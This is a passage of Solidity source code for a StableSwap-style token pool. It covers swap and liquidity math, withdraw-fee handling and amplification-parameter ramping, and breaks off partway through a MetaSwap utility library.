d.mul(10**uint256(POOL_PRECISION_DECIMALS)).div(supply); } return 0; } /** * @notice Calculate the new balances of the tokens given the indexes of the token * that is swapped from (FROM) and the token that is swapped to (TO). * This function is used as a helper function to calculate how much TO token * the user should receive on swap. * * @param preciseA precise form of amplification coefficient * @param tokenIndexFrom index of FROM token * @param tokenIndexTo index of TO token * @param x the new total amount of FROM token * @param xp balances of the tokens in the pool * @return the amount of TO token that should remain in the pool */ function getY( uint256 preciseA, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 x, uint256[] memory xp ) internal pure returns (uint256) { uint256 numTokens = xp.length; require( tokenIndexFrom != tokenIndexTo, "Can't compare token to itself" ); require( tokenIndexFrom < numTokens && tokenIndexTo < numTokens, "Tokens must be in pool" ); uint256 d = getD(xp, preciseA); uint256 c = d; uint256 s; uint256 nA = numTokens.mul(preciseA); uint256 _x; for (uint256 i = 0; i < numTokens; i++) { if (i == tokenIndexFrom) { _x = x; } else if (i != tokenIndexTo) { _x = xp[i]; } else { continue; } s = s.add(_x); c = c.mul(d).div(_x.mul(numTokens)); // If we were to protect the division loss we would have to keep the denominator separate // and divide at the end. However this leads to overflow with large numTokens or/and D. // c = c * D * D * D * ... overflow! } c = c.mul(d).mul(AmplificationUtilsV1.A_PRECISION).div( nA.mul(numTokens) ); uint256 b = s.add(d.mul(AmplificationUtilsV1.A_PRECISION).div(nA)); uint256 yPrev; uint256 y = d; // iterative approximation for (uint256 i = 0; i < MAX_LOOP_LIMIT; i++) { yPrev = y; y = y.mul(y).add(c).div(y.mul(2).add(b).sub(d)); if (y.within1(yPrev)) { return y; } } revert("Approximation did not converge"); } /** * @notice Externally calculates a swap between two tokens. * @param self Swap struct to read from * @param tokenIndexFrom the token to sell * @param tokenIndexTo the token to buy * @param dx the number of tokens to sell. If the token charges a fee on transfers, * use the amount that gets transferred after the fee. * @return dy the number of tokens the user will get */ function calculateSwap( Swap storage self, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx ) external view returns (uint256 dy) { (dy, ) = _calculateSwap( self, tokenIndexFrom, tokenIndexTo, dx, self.balances ); } /** * @notice Internally calculates a swap between two tokens. * * @dev The caller is expected to transfer the actual amounts (dx and dy) * using the token contracts. * * @param self Swap struct to read from * @param tokenIndexFrom the token to sell * @param tokenIndexTo the token to buy * @param dx the number of tokens to sell. If the token charges a fee on transfers, * use the amount that gets transferred after the fee. * @return dy the number of tokens the user will get * @return dyFee the associated fee */ function _calculateSwap( Swap storage self, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256[] memory balances ) internal view returns (uint256 dy, uint256 dyFee) { uint256[] memory multipliers = self.tokenPrecisionMultipliers; uint256[] memory xp = _xp(balances, multipliers); require( tokenIndexFrom < xp.length && tokenIndexTo < xp.length, "Token index out of range" ); uint256 x = dx.mul(multipliers[tokenIndexFrom]).add(xp[tokenIndexFrom]); uint256 y = getY( _getAPrecise(self), tokenIndexFrom, tokenIndexTo, x, xp ); dy = xp[tokenIndexTo].sub(y).sub(1); dyFee = dy.mul(self.swapFee).div(FEE_DENOMINATOR); dy = dy.sub(dyFee).div(multipliers[tokenIndexTo]); } /** * @notice A simple method to calculate amount of each underlying * tokens that is returned upon burning given amount of * LP tokens * * @param account the address that is removing liquidity. required for withdraw fee calculation * @param amount the amount of LP tokens that would to be burned on * withdrawal * @return array of amounts of tokens user will receive */ function calculateRemoveLiquidity( Swap storage self, address account, uint256 amount ) external view returns (uint256[] memory) { return _calculateRemoveLiquidity( self, self.balances, account, amount, self.lpToken.totalSupply() ); } function _calculateRemoveLiquidity( Swap storage self, uint256[] memory balances, address account, uint256 amount, uint256 totalSupply ) internal view returns (uint256[] memory) { require(amount <= totalSupply, "Cannot exceed total supply"); uint256 feeAdjustedAmount = amount .mul( FEE_DENOMINATOR.sub(_calculateCurrentWithdrawFee(self, account)) ) .div(FEE_DENOMINATOR); uint256[] memory amounts = new uint256[](balances.length); for (uint256 i = 0; i < balances.length; i++) { amounts[i] = balances[i].mul(feeAdjustedAmount).div(totalSupply); } return amounts; } /** * @notice Calculate the fee that is applied when the given user withdraws. * Withdraw fee decays linearly over WITHDRAW_FEE_DECAY_TIME. * @param user address you want to calculate withdraw fee of * @return current withdraw fee of the user */ function calculateCurrentWithdrawFee(Swap storage self, address user) external view returns (uint256) { return _calculateCurrentWithdrawFee(self, user); } function _calculateCurrentWithdrawFee(Swap storage self, address user) internal view returns (uint256) { uint256 endTime = self.depositTimestamp[user].add( WITHDRAW_FEE_DECAY_TIME ); if (endTime > block.timestamp) { uint256 timeLeftover = endTime.sub(block.timestamp); return self .defaultWithdrawFee .mul(self.withdrawFeeMultiplier[user]) .mul(timeLeftover) .div(WITHDRAW_FEE_DECAY_TIME) .div(FEE_DENOMINATOR); } return 0; } /** * @notice A simple method to calculate prices from deposits or * withdrawals, excluding fees but including slippage. This is * helpful as an input into the various "min" parameters on calls * to fight front-running * * @dev This shouldn't be used outside frontends for user estimates. * * @param self Swap struct to read from * @param account address of the account depositing or withdrawing tokens * @param amounts an array of token amounts to deposit or withdrawal, * corresponding to pooledTokens. The amount should be in each * pooled token's native precision. If a token charges a fee on transfers, * use the amount that gets transferred after the fee. * @param deposit whether this is a deposit or a withdrawal * @return if deposit was true, total amount of lp token that will be minted and if * deposit was false, total amount of lp token that will be burned */ function calculateTokenAmount( Swap storage self, address account, uint256[] calldata amounts, bool deposit ) external view returns (uint256) { uint256 a = _getAPrecise(self); uint256[] memory balances = self.balances; uint256[] memory multipliers = self.tokenPrecisionMultipliers; uint256 d0 = getD(_xp(balances, multipliers), a); for (uint256 i = 0; i < balances.length; i++) { if (deposit) { balances[i] = balances[i].add(amounts[i]); } else { balances[i] = balances[i].sub( amounts[i], "Cannot withdraw more than available" ); } } uint256 d1 = getD(_xp(balances, multipliers), a); uint256 totalSupply = self.lpToken.totalSupply(); if (deposit) { return d1.sub(d0).mul(totalSupply).div(d0); } else { return d0.sub(d1).mul(totalSupply).div(d0).mul(FEE_DENOMINATOR).div( FEE_DENOMINATOR.sub( _calculateCurrentWithdrawFee(self, account) ) ); } } /** * @notice return accumulated amount of admin fees of the token with given index * @param self Swap struct to read from * @param index Index of the pooled token * @return admin balance in the token's precision */ function getAdminBalance(Swap storage self, uint256 index) external view returns (uint256) { require(index < self.pooledTokens.length, "Token index out of range"); return self.pooledTokens[index].balanceOf(address(this)).sub( self.balances[index] ); } /** * @notice internal helper function to calculate fee per token multiplier used in * swap fee calculations * @param swapFee swap fee for the tokens * @param numTokens number of tokens pooled */ function _feePerToken(uint256 swapFee, uint256 numTokens) internal pure returns (uint256) { return swapFee.mul(numTokens).div(numTokens.sub(1).mul(4)); } /*** STATE MODIFYING FUNCTIONS ***/ /** * @notice swap two tokens in the pool * @param self Swap struct to read from and write to * @param tokenIndexFrom the token the user wants to sell * @param tokenIndexTo the token the user wants to buy * @param dx the amount of tokens the user wants to sell * @param minDy the min amount the user would like to receive, or revert. * @return amount of token user received on swap */ function swap( Swap storage self, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy ) external returns (uint256) { { IERC20 tokenFrom = self.pooledTokens[tokenIndexFrom]; require( dx <= tokenFrom.balanceOf(msg.sender), "Cannot swap more than you own" ); // Transfer tokens first to see if a fee was charged on transfer uint256 beforeBalance = tokenFrom.balanceOf(address(this)); tokenFrom.safeTransferFrom(msg.sender, address(this), dx); // Use the actual transferred amount for AMM math dx = tokenFrom.balanceOf(address(this)).sub(beforeBalance); } uint256 dy; uint256 dyFee; uint256[] memory balances = self.balances; (dy, dyFee) = _calculateSwap( self, tokenIndexFrom, tokenIndexTo, dx, balances ); require(dy >= minDy, "Swap didn't result in min tokens"); uint256 dyAdminFee = dyFee.mul(self.adminFee).div(FEE_DENOMINATOR).div( self.tokenPrecisionMultipliers[tokenIndexTo] ); self.balances[tokenIndexFrom] = balances[tokenIndexFrom].add(dx); self.balances[tokenIndexTo] = balances[tokenIndexTo].sub(dy).sub( dyAdminFee ); self.pooledTokens[tokenIndexTo].safeTransfer(msg.sender, dy); emit TokenSwap(msg.sender, dx, dy, tokenIndexFrom, tokenIndexTo); return dy; } /** * @notice Add liquidity to the pool * @param self Swap struct to read from and write to * @param amounts the amounts of each token to add, in their native precision * @param minToMint the minimum LP tokens adding this amount of liquidity * should mint, otherwise revert. Handy for front-running mitigation * allowed addresses. If the pool is not in the guarded launch phase, this parameter will be ignored. * @return amount of LP token user received */ function addLiquidity( Swap storage self, uint256[] memory amounts, uint256 minToMint ) external returns (uint256) { IERC20[] memory pooledTokens = self.pooledTokens; require( amounts.length == pooledTokens.length, "Amounts must match pooled tokens" ); // current state ManageLiquidityInfo memory v = ManageLiquidityInfo( 0, 0, 0, _getAPrecise(self), self.lpToken, 0, self.balances, self.tokenPrecisionMultipliers ); v.totalSupply = v.lpToken.totalSupply(); if (v.totalSupply != 0) { v.d0 = getD(_xp(v.balances, v.multipliers), v.preciseA); } uint256[] memory newBalances = new uint256[](pooledTokens.length); for (uint256 i = 0; i < pooledTokens.length; i++) { require( v.totalSupply != 0 || amounts[i] > 0, "Must supply all tokens in pool" ); // Transfer tokens first to see if a fee was charged on transfer if (amounts[i] != 0) { uint256 beforeBalance = pooledTokens[i].balanceOf( address(this) ); pooledTokens[i].safeTransferFrom( msg.sender, address(this), amounts[i] ); // Update the amounts[] with actual transfer amount amounts[i] = pooledTokens[i].balanceOf(address(this)).sub( beforeBalance ); } newBalances[i] = v.balances[i].add(amounts[i]); } // invariant after change v.d1 = getD(_xp(newBalances, v.multipliers), v.preciseA); require(v.d1 > v.d0, "D should increase"); // updated to reflect fees and calculate the user's LP tokens v.d2 = v.d1; uint256[] memory fees = new uint256[](pooledTokens.length); if (v.totalSupply != 0) { uint256 feePerToken = _feePerToken( self.swapFee, pooledTokens.length ); for (uint256 i = 0; i < pooledTokens.length; i++) { uint256 idealBalance = v.d1.mul(v.balances[i]).div(v.d0); fees[i] = feePerToken .mul(idealBalance.difference(newBalances[i])) .div(FEE_DENOMINATOR); self.balances[i] = newBalances[i].sub( fees[i].mul(self.adminFee).div(FEE_DENOMINATOR) ); newBalances[i] = newBalances[i].sub(fees[i]); } v.d2 = getD(_xp(newBalances, v.multipliers), v.preciseA); } else { // the initial depositor doesn't pay fees self.balances = newBalances; } uint256 toMint; if (v.totalSupply == 0) { toMint = v.d1; } else { toMint = v.d2.sub(v.d0).mul(v.totalSupply).div(v.d0); } require(toMint >= minToMint, "Couldn't mint min requested"); // mint the user's LP tokens v.lpToken.mint(msg.sender, toMint); emit AddLiquidity( msg.sender, amounts, fees, v.d1, v.totalSupply.add(toMint) ); return toMint; } /** * @notice Update the withdraw fee for `user`. If the user is currently * not providing liquidity in the pool, sets to default value. If not, recalculate * the starting withdraw fee based on the last deposit's time & amount relative * to the new deposit. * * @param self Swap struct to read from and write to * @param user address of the user depositing tokens * @param toMint amount of pool tokens to be minted */ function updateUserWithdrawFee( Swap storage self, address user, uint256 toMint ) public { // If token is transferred to address 0 (or burned), don't update the fee. if (user == address(0)) { return; } if (self.defaultWithdrawFee == 0) { // If current fee is set to 0%, set multiplier to FEE_DENOMINATOR self.withdrawFeeMultiplier[user] = FEE_DENOMINATOR; } else { // Otherwise, calculate appropriate discount based on last deposit amount uint256 currentFee = _calculateCurrentWithdrawFee(self, user); uint256 currentBalance = self.lpToken.balanceOf(user); // ((currentBalance * currentFee) + (toMint * defaultWithdrawFee)) * FEE_DENOMINATOR / // ((toMint + currentBalance) * defaultWithdrawFee) self.withdrawFeeMultiplier[user] = currentBalance .mul(currentFee) .add(toMint.mul(self.defaultWithdrawFee)) .mul(FEE_DENOMINATOR) .div(toMint.add(currentBalance).mul(self.defaultWithdrawFee)); } self.depositTimestamp[user] = block.timestamp; } /** * @notice Burn LP tokens to remove liquidity from the pool. * @dev Liquidity can always be removed, even when the pool is paused. * @param self Swap struct to read from and write to * @param amount the amount of LP tokens to burn * @param minAmounts the minimum amounts of each token in the pool * acceptable for this burn. Useful as a front-running mitigation * @return amounts of tokens the user received */ function removeLiquidity( Swap storage self, uint256 amount, uint256[] calldata minAmounts ) external returns (uint256[] memory) { LPToken lpToken = self.lpToken; IERC20[] memory pooledTokens = self.pooledTokens; require(amount <= lpToken.balanceOf(msg.sender), ">LP.balanceOf"); require( minAmounts.length == pooledTokens.length, "minAmounts must match poolTokens" ); uint256[] memory balances = self.balances; uint256 totalSupply = lpToken.totalSupply(); uint256[] memory amounts = _calculateRemoveLiquidity( self, balances, msg.sender, amount, totalSupply ); for (uint256 i = 0; i < amounts.length; i++) { require(amounts[i] >= minAmounts[i], "amounts[i] < minAmounts[i]"); self.balances[i] = balances[i].sub(amounts[i]); pooledTokens[i].safeTransfer(msg.sender, amounts[i]); } lpToken.burnFrom(msg.sender, amount); emit RemoveLiquidity(msg.sender, amounts, totalSupply.sub(amount)); return amounts; } /** * @notice Remove liquidity from the pool all in one token. * @param self Swap struct to read from and write to * @param tokenAmount the amount of the lp tokens to burn * @param tokenIndex the index of the token you want to receive * @param minAmount the minimum amount to withdraw, otherwise revert * @return amount chosen token that user received */ function removeLiquidityOneToken( Swap storage self, uint256 tokenAmount, uint8 tokenIndex, uint256 minAmount ) external returns (uint256) { LPToken lpToken = self.lpToken; IERC20[] memory pooledTokens = self.pooledTokens; require(tokenAmount <= lpToken.balanceOf(msg.sender), ">LP.balanceOf"); require(tokenIndex < pooledTokens.length, "Token not found"); uint256 totalSupply = lpToken.totalSupply(); (uint256 dy, uint256 dyFee) = _calculateWithdrawOneToken( self, msg.sender, tokenAmount, tokenIndex, totalSupply ); require(dy >= minAmount, "dy < minAmount"); self.balances[tokenIndex] = self.balances[tokenIndex].sub( dy.add(dyFee.mul(self.adminFee).div(FEE_DENOMINATOR)) ); lpToken.burnFrom(msg.sender, tokenAmount); pooledTokens[tokenIndex].safeTransfer(msg.sender, dy); emit RemoveLiquidityOne( msg.sender, tokenAmount, totalSupply, tokenIndex, dy ); return dy; } /** * @notice Remove liquidity from the pool, weighted differently than the * pool's current balances. * * @param self Swap struct to read from and write to * @param amounts how much of each token to withdraw * @param maxBurnAmount the max LP token provider is willing to pay to * remove liquidity. Useful as a front-running mitigation. * @return actual amount of LP tokens burned in the withdrawal */ function removeLiquidityImbalance( Swap storage self, uint256[] memory amounts, uint256 maxBurnAmount ) public returns (uint256) { ManageLiquidityInfo memory v = ManageLiquidityInfo( 0, 0, 0, _getAPrecise(self), self.lpToken, 0, self.balances, self.tokenPrecisionMultipliers ); v.totalSupply = v.lpToken.totalSupply(); IERC20[] memory pooledTokens = self.pooledTokens; require( amounts.length == pooledTokens.length, "Amounts should match pool tokens" ); require( maxBurnAmount <= v.lpToken.balanceOf(msg.sender) && maxBurnAmount != 0, ">LP.balanceOf" ); uint256 feePerToken = _feePerToken(self.swapFee, pooledTokens.length); uint256[] memory fees = new uint256[](pooledTokens.length); { uint256[] memory balances1 = new uint256[](pooledTokens.length); v.d0 = getD(_xp(v.balances, v.multipliers), v.preciseA); for (uint256 i = 0; i < pooledTokens.length; i++) { balances1[i] = v.balances[i].sub( amounts[i], "Cannot withdraw more than available" ); } v.d1 = getD(_xp(balances1, v.multipliers), v.preciseA); for (uint256 i = 0; i < pooledTokens.length; i++) { uint256 idealBalance = v.d1.mul(v.balances[i]).div(v.d0); uint256 difference = idealBalance.difference(balances1[i]); fees[i] = feePerToken.mul(difference).div(FEE_DENOMINATOR); self.balances[i] = balances1[i].sub( fees[i].mul(self.adminFee).div(FEE_DENOMINATOR) ); balances1[i] = balances1[i].sub(fees[i]); } v.d2 = getD(_xp(balances1, v.multipliers), v.preciseA); } uint256 tokenAmount = v.d0.sub(v.d2).mul(v.totalSupply).div(v.d0); require(tokenAmount != 0, "Burnt amount cannot be zero"); tokenAmount = tokenAmount.add(1).mul(FEE_DENOMINATOR).div( FEE_DENOMINATOR.sub(_calculateCurrentWithdrawFee(self, msg.sender)) ); require(tokenAmount <= maxBurnAmount, "tokenAmount > maxBurnAmount"); v.lpToken.burnFrom(msg.sender, tokenAmount); for (uint256 i = 0; i < pooledTokens.length; i++) { pooledTokens[i].safeTransfer(msg.sender, amounts[i]); } emit RemoveLiquidityImbalance( msg.sender, amounts, fees, v.d1, v.totalSupply.sub(tokenAmount) ); return tokenAmount; } /** * @notice withdraw all admin fees to a given address * @param self Swap struct to withdraw fees from * @param to Address to send the fees to */ function withdrawAdminFees(Swap storage self, address to) external { IERC20[] memory pooledTokens = self.pooledTokens; for (uint256 i = 0; i < pooledTokens.length; i++) { IERC20 token = pooledTokens[i]; uint256 balance = token.balanceOf(address(this)).sub( self.balances[i] ); if (balance != 0) { token.safeTransfer(to, balance); } } } /** * @notice Sets the admin fee * @dev adminFee cannot be higher than 100% of the swap fee * @param self Swap struct to update * @param newAdminFee new admin fee to be applied on future transactions */ function setAdminFee(Swap storage self, uint256 newAdminFee) external { require(newAdminFee <= MAX_ADMIN_FEE, "Fee is too high"); self.adminFee = newAdminFee; emit NewAdminFee(newAdminFee); } /** * @notice update the swap fee * @dev fee cannot be higher than 1% of each swap * @param self Swap struct to update * @param newSwapFee new swap fee to be applied on future transactions */ function setSwapFee(Swap storage self, uint256 newSwapFee) external { require(newSwapFee <= MAX_SWAP_FEE, "Fee is too high"); self.swapFee = newSwapFee; emit NewSwapFee(newSwapFee); } /** * @notice update the default withdraw fee. This also affects deposits made in the past as well. * @param self Swap struct to update * @param newWithdrawFee new withdraw fee to be applied */ function setDefaultWithdrawFee(Swap storage self, uint256 newWithdrawFee) external { require(newWithdrawFee <= MAX_WITHDRAW_FEE, "Fee is too high"); self.defaultWithdrawFee = newWithdrawFee; emit NewWithdrawFee(newWithdrawFee); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "./SwapUtilsV1.sol"; /** * @title AmplificationUtils library * @notice A library to calculate and ramp the A parameter of a given `SwapUtils.Swap` struct. * This library assumes the struct is fully validated. */ library AmplificationUtilsV1 { using SafeMath for uint256; event RampA( uint256 oldA, uint256 newA, uint256 initialTime, uint256 futureTime ); event StopRampA(uint256 currentA, uint256 time); // Constant values used in ramping A calculations uint256 public constant A_PRECISION = 100; uint256 public constant MAX_A = 10**6; uint256 private constant MAX_A_CHANGE = 2; uint256 private constant MIN_RAMP_TIME = 14 days; /** * @notice Return A, the amplification coefficient * n * (n - 1) * @dev See the StableSwap paper for details * @param self Swap struct to read from * @return A parameter */ function getA(SwapUtilsV1.Swap storage self) external view returns (uint256) { return _getAPrecise(self).div(A_PRECISION); } /** * @notice Return A in its raw precision * @dev See the StableSwap paper for details * @param self Swap struct to read from * @return A parameter in its raw precision form */ function getAPrecise(SwapUtilsV1.Swap storage self) external view returns (uint256) { return _getAPrecise(self); } /** * @notice Return A in its raw precision * @dev See the StableSwap paper for details * @param self Swap struct to read from * @return A parameter in its raw precision form */ function _getAPrecise(SwapUtilsV1.Swap storage self) internal view returns (uint256) { uint256 t1 = self.futureATime; // time when ramp is finished uint256 a1 = self.futureA; // final A value when ramp is finished if (block.timestamp < t1) { uint256 t0 = self.initialATime; // time when ramp is started uint256 a0 = self.initialA; // initial A value when ramp is started if (a1 > a0) { // a0 + (a1 - a0) * (block.timestamp - t0) / (t1 - t0) return a0.add( a1.sub(a0).mul(block.timestamp.sub(t0)).div(t1.sub(t0)) ); } else { // a0 - (a0 - a1) * (block.timestamp - t0) / (t1 - t0) return a0.sub( a0.sub(a1).mul(block.timestamp.sub(t0)).div(t1.sub(t0)) ); } } else { return a1; } } /** * @notice Start ramping up or down A parameter towards given futureA_ and futureTime_ * Checks if the change is too rapid, and commits the new A value only when it falls under * the limit range. * @param self Swap struct to update * @param futureA_ the new A to ramp towards * @param futureTime_ timestamp when the new A should be reached */ function rampA( SwapUtilsV1.Swap storage self, uint256 futureA_, uint256 futureTime_ ) external { require( block.timestamp >= self.initialATime.add(1 days), "Wait 1 day before starting ramp" ); require( futureTime_ >= block.timestamp.add(MIN_RAMP_TIME), "Insufficient ramp time" ); require( futureA_ > 0 && futureA_ < MAX_A, "futureA_ must be > 0 and < MAX_A" ); uint256 initialAPrecise = _getAPrecise(self); uint256 futureAPrecise = futureA_.mul(A_PRECISION); if (futureAPrecise < initialAPrecise) { require( futureAPrecise.mul(MAX_A_CHANGE) >= initialAPrecise, "futureA_ is too small" ); } else { require( futureAPrecise <= initialAPrecise.mul(MAX_A_CHANGE), "futureA_ is too large" ); } self.initialA = initialAPrecise; self.futureA = futureAPrecise; self.initialATime = block.timestamp; self.futureATime = futureTime_; emit RampA( initialAPrecise, futureAPrecise, block.timestamp, futureTime_ ); } /** * @notice Stops ramping A immediately. Once this function is called, rampA() * cannot be called for another 24 hours * @param self Swap struct to update */ function stopRampA(SwapUtilsV1.Swap storage self) external { require(self.futureATime > block.timestamp, "Ramp is already stopped"); uint256 currentA = _getAPrecise(self); self.initialA = currentA; self.futureA = currentA; self.initialATime = block.timestamp; self.futureATime = block.timestamp; emit StopRampA(currentA, block.timestamp); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "../LPToken.sol"; import "../interfaces/ISwap.sol"; import "../MathUtils.sol"; import "../SwapUtils.sol"; /** * @title MetaSwapUtils library * @notice A library to be used within MetaSwap.sol. Contains functions responsible for custody and AMM functionalities. * * MetaSwap is a modified version of Swap that allows Swap's LP token to be utilized in pooling with other tokens. * As an example, if there is a Swap pool consisting of [DAI, USDC, USDT]. Then a MetaSwap pool can be created * with [sUSD, BaseSwapLPToken] to allow trades between either the LP token or the underlying tokens and sUSD. * * @dev Contracts relying on this library must initialize SwapUtils.Swap struct then use this library * for SwapUtils.Swap struct. Note that this library contains both functions called by users and admins. * Admin functions should be protected within contracts using this library. */ library MetaSwapUtils { using SafeERC20 for IERC20; using SafeMath for uint256; using MathUtils for uint256; using AmplificationUtils for SwapUtils.Swap; /*** EVENTS ***/ event TokenSwap( address indexed buyer, uint256 tokensSold, uint256 tokensBought, uint128 soldId, uint128 boughtId ); event TokenSwapUnderlying( address indexed buyer, uint256 tokensSold, uint256 tokensBought, uint128 soldId, uint128 boughtId ); event AddLiquidity( address indexed provider, uint256[] tokenAmounts, uint256[] fees, uint256 invariant, uint256 lpTokenSupply ); event RemoveLiquidityOne( address indexed provider, uint256 lpTokenAmount, uint256 lpTokenSupply, uint256 boughtId, uint256 tokensBought ); event RemoveLiquidityImbalance( address indexed provider, uint256[] tokenAmounts, uint256[] fees, uint256 invariant, uint256 lpTokenSupply ); event NewAdminFee(uint256 newAdminFee); event NewSwapFee(uint256 newSwapFee); event NewWithdrawFee(uint256 newWithdrawFee); struct MetaSwap { // Meta-Swap related parameters ISwap baseSwap; uint256 baseVirtualPrice; uint256 baseCacheLastUpdated; IERC20[] baseTokens; } // Struct storing variables used in calculations in the // calculateWithdrawOneTokenDY function to avoid stack too deep errors struct CalculateWithdrawOneTokenDYInfo { uint256 d0; uint256 d1; uint256 newY; uint256 feePerToken; uint256 preciseA; uint256 xpi; } // Struct storing variables used in calculation in removeLiquidityImbalance function // to avoid stack too deep error struct ManageLiquidityInfo { uint256 d0; uint256 d1; uint256 d2; LPToken lpToken; uint256 totalSupply; uint256 preciseA; uint256 baseVirtualPrice; uint256[] tokenPrecisionMultipliers; uint256[] newBalances; } struct SwapUnderlyingInfo { uint256 x; uint256 dx; uint256 dy; uint256[] tokenPrecisionMultipliers; uint256[] oldBalances; IERC20[] baseTokens; IERC20 tokenFrom; uint8 metaIndexFrom; IERC20 tokenTo; uint8 metaIndexTo; uint256 baseVirtualPrice; } struct CalculateSwapUnderlyingInfo { uint256 baseVirtualPrice; ISwap baseSwap; uint8 baseLPTokenIndex; uint8 baseTokensLength; uint8 metaIndexTo; uint256 x; uint256 dy; } // the denominator used to calculate admin and LP fees. For example, an // LP fee might be something like tradeAmount.mul(fee).div(FEE_DENOMINATOR) uint256 private constant FEE_DENOMINATOR = 10**10; // Cache expire time for the stored value of base Swap's virtual price uint256 public constant BASE_CACHE_EXPIRE_TIME = 10 minutes; uint256 public constant BASE_VIRTUAL_PRICE_PRECISION = 10**18; /*** VIEW & PURE FUNCTIONS ***/ /** * @notice Return the stored value of base Swap's virtual price. If * value was updated past BASE_CACHE_EXPIRE_TIME, then read it directly * from the base Swap contract. * @param metaSwapStorage MetaSwap struct to read from * @return base Swap's virtual price */ function _getBaseVirtualPrice(MetaSwap storage metaSwapStorage) internal view returns (uint256) { if ( block.timestamp > metaSwapStorage.baseCacheLastUpdated + BASE_CACHE_EXPIRE_TIME ) { return metaSwapStorage.baseSwap.getVirtualPrice(); } return metaSwapStorage.baseVirtualPrice; } function _getBaseSwapFee(ISwap baseSwap) internal view returns (uint256 swapFee) { (, , , , swapFee, , ) = baseSwap.swapStorage(); } /** * @notice Calculate how much the user would receive when withdrawing via single token * @param self Swap struct to read from * @param metaSwapStorage MetaSwap struct to read from * @param tokenAmount the amount to withdraw in the pool's precision * @param tokenIndex which token will be withdrawn * @return dy the amount of token user will receive */ function calculateWithdrawOneToken( SwapUtils.Swap storage self, MetaSwap storage metaSwapStorage, uint256 tokenAmount, uint8 tokenIndex ) external view returns (uint256 dy) { (dy, ) = _calculateWithdrawOneToken( self, tokenAmount, tokenIndex, _getBaseVirtualPrice(metaSwapStorage), self.lpToken.totalSupply() ); } function _calculateWithdrawOneToken( SwapUtils.Swap storage self, uint256 tokenAmount, uint8 tokenIndex, uint256 baseVirtualPrice, uint256 totalSupply ) internal view returns (uint256, uint256) { uint256 dy; uint256 dySwapFee; { uint256 currentY; uint256 newY; // Calculate how much to withdraw (dy, newY, currentY) = _calculateWithdrawOneTokenDY( self, tokenIndex, tokenAmount, baseVirtualPrice, totalSupply ); // Calculate the associated swap fee dySwapFee = currentY .sub(newY) .div(self.tokenPrecisionMultipliers[tokenIndex]) .sub(dy); } return (dy, dySwapFee); } /** * @notice Calculate the dy of withdrawing in one token * @param self Swap struct to read from * @param tokenIndex which token will be withdrawn * @param tokenAmount the amount to withdraw in the pools precision * @param baseVirtualPrice the virtual price of the base swap's LP token * @return the dy excluding swap fee, the new y after withdrawing one token, and current y */ function _calculateWithdrawOneTokenDY( SwapUtils.Swap storage self, uint8 tokenIndex, uint256 tokenAmount, uint256 baseVirtualPrice, uint256 totalSupply ) internal view returns ( uint256, uint256, uint256 ) { // Get the current D, then solve the stableswap invariant // y_i for D - tokenAmount uint256[] memory xp = _xp(self, baseVirtualPrice); require(tokenIndex < xp.length, "Token index out of range"); CalculateWithdrawOneTokenDYInfo memory v = CalculateWithdrawOneTokenDYInfo( 0, 0, 0, 0, self._getAPrecise(), 0 ); v.d0 = SwapUtils.getD(xp, v.preciseA); v.d1 = v.d0.sub(tokenAmount.mul(v.d0).div(totalSupply)); require(tokenAmount <= xp[tokenIndex], "Withdraw exceeds available"); v.newY = SwapUtils.getYD(v.preciseA, tokenIndex, xp, v.d1); uint256[] memory xpReduced = new uint256[](xp.length); v.feePerToken = SwapUtils._feePerToken(self.swapFee, xp.length); for (uint256 i = 0; i < xp.length; i++) { v.xpi = xp[i]; // if i == tokenIndex, dxExpected = xp[i] * d1 / d0 - newY // else dxExpected = xp[i] - (xp[i] * d1 / d0) // xpReduced[i] -= dxExpected * fee / FEE_DENOMINATOR xpReduced[i] = v.xpi.sub( ( (i == tokenIndex) ? v.xpi.mul(v.d1).div(v.d0).sub(v.newY) : v.xpi.sub(v.xpi.mul(v.d1).div(v.d0)) ).mul(v.feePerToken).div(FEE_DENOMINATOR) ); } uint256 dy = xpReduced[tokenIndex].sub( SwapUtils.getYD(v.preciseA, tokenIndex, xpReduced, v.d1) ); if (tokenIndex == xp.length.sub(1)) { dy = dy.mul(BASE_VIRTUAL_PRICE_PRECISION).div(baseVirtualPrice); v.newY = v.newY.mul(BASE_VIRTUAL_PRICE_PRECISION).div( baseVirtualPrice ); xp[tokenIndex] = xp[tokenIndex] .mul(BASE_VIRTUAL_PRICE_PRECISION) .div(baseVirtualPrice); } dy = dy.sub(1).div(self.tokenPrecisionMultipliers[tokenIndex]); return (dy, v.newY, xp[tokenIndex]); } /** * @notice Given a set of balances and precision multipliers, return the * precision-adjusted balances. The last element will also get scaled up by * the given baseVirtualPrice. * * @param balances an array of token balances, in their native precisions. * These should generally correspond with pooled tokens. * * @param precisionMultipliers an array of multipliers, corresponding to * the amounts in the balances array. When multiplied together they * should yield amounts at the pool's precision. * * @param baseVirtualPrice the base virtual price to scale the balance of the * base Swap's LP token. * * @return an array of amounts "scaled" to the pool's precision */ function _xp( uint256[] memory balances, uint256[] memory precisionMultipliers, uint256 baseVirtualPrice ) internal pure returns (uint256[] memory) { uint256[] memory xp = SwapUtils._xp(balances, precisionMultipliers); uint256 baseLPTokenIndex = balances.length.sub(1); xp[baseLPTokenIndex] = xp[baseLPTokenIndex].mul(baseVirtualPrice).div( BASE_VIRTUAL_PRICE_PRECISION ); return xp; } /** * @notice Return the precision-adjusted balances of all tokens in the pool * @param self Swap struct to read from * @return the pool balances "scaled" to the pool's precision, allowing * them to be more easily compared. */ function _xp(SwapUtils.Swap storage self, uint256 baseVirtualPrice) internal view returns (uint256[] memory) { return _xp( self.balances, self.tokenPrecisionMultipliers, baseVirtualPrice ); } /** * @notice Get the virtual price, to help calculate profit * @param self Swap struct to read from * @param metaSwapStorage MetaSwap struct to read from * @return the virtual price, scaled to precision of BASE_VIRTUAL_PRICE_PRECISION */ function getVirtualPrice( SwapUtils.Swap storage self, MetaSwap storage metaSwapStorage ) external view returns (uint256) { uint256 d = SwapUtils.getD( _xp( self.balances, self.tokenPrecisionMultipliers, 